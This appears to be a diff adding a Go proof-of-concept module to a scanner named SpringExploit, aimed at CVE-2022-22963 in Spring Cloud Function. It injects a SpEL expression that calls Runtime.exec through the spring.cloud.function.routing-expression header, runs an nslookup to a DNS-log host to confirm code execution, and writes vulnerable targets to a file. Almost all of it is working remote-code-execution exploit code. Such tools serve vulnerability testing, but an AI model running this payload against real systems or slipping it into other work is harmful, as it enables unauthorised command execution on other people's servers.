|
| 1 | +package poc |
| 2 | + |
| 3 | +import ( |
| 4 | + "github.com/SummerSec/SpringExploit/cmd/commons/utils" |
| 5 | + "github.com/fatih/structs" |
| 6 | + "github.com/imroc/req/v3" |
| 7 | + log "github.com/sirupsen/logrus" |
| 8 | +) |
| 9 | + |
| 10 | +type CVE202222963 struct{} |
| 11 | + |
| 12 | +func (p CVE202222963) SendPoc(target string, hashmap map[string]interface{}) { |
| 13 | + |
| 14 | + reqinfo := NewReqInfo() |
| 15 | + reqmap := structs.Map(reqinfo) |
| 16 | + url := target + "functionRouter" |
| 17 | + reqmap["url"] = url |
| 18 | + reqmap["method"] = "POST" |
| 19 | + dnslog := &utils.Dnslog{} |
| 20 | + dnslog.SetId("CVE-2022-22963") |
| 21 | + ranStr := dnslog.Id() |
| 22 | + dnslog.SetPre("dns") |
| 23 | + cmd := "nslookup " + ranStr + ".skysa.eyes.sh" |
| 24 | + //cmd := "calc.exe" |
| 25 | + log.Debugln(cmd) |
| 26 | + payload := "T(java.lang.Runtime).getRuntime().exec(\"" + cmd + "\")" |
| 27 | + //payload := "T(java.net.InetAddress).getByName(\"" + ranStr + ".skysa.eyes.sh\")" |
| 28 | + log.Debugf("payload: %s", payload) |
| 29 | + log.Debugf("dnslog: %s", dnslog) |
| 30 | + |
| 31 | + reqmap["timeout"] = hashmap["Timeout"].(int) |
| 32 | + reqmap["retry"] = hashmap["Retry"].(int) |
| 33 | + reqmap["proxy"] = hashmap["Proxy"].(string) |
| 34 | + reqmap["mode"] = hashmap["Mode"].(int) |
| 35 | + reqmap["headers"] = map[string]string{ |
| 36 | + "User-Agent": utils.GetUA(), |
| 37 | + "Content-Type": "application/x-www-form-urlencoded", |
| 38 | + //"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", |
| 39 | + "spring.cloud.function.routing-expression": payload, |
| 40 | + } |
| 41 | + |
| 42 | + reqmap["method"] = "POST" |
| 43 | + reqmap["body"] = ranStr |
| 44 | + // 发送请求 |
| 45 | + resp := utils.Send(reqmap) |
| 46 | + |
| 47 | + res := dnslog.GetDnslog() |
| 48 | + if res { |
| 49 | + if p.checkExp(resp, target, hashmap["Out"].(string)) { |
| 50 | + log.Infof("[+] %s: %s", target, "CVE-2022-22963") |
| 51 | + p.saveResult(target, hashmap["Out"].(string)) |
| 52 | + } |
| 53 | + } |
| 54 | + |
| 55 | +} |
| 56 | + |
| 57 | +func (CVE202222963) init() { |
| 58 | + log.Debugf("CVE-2022-22963 init") |
| 59 | + |
| 60 | +} |
| 61 | + |
| 62 | +func (CVE202222963) saveResult(target string, file string) { |
| 63 | + context := target + " 存在CVE-2022-22963漏洞\n" |
| 64 | + utils.SaveToFile(context, file) |
| 65 | +} |
| 66 | + |
| 67 | +func (p CVE202222963) checkExp(resp *req.Response, dnslog string, file string) bool { |
| 68 | + log.Debugf("CVE-2022-22963 checkExp") |
| 69 | + return true |
| 70 | + |
| 71 | +} |
0 commit comments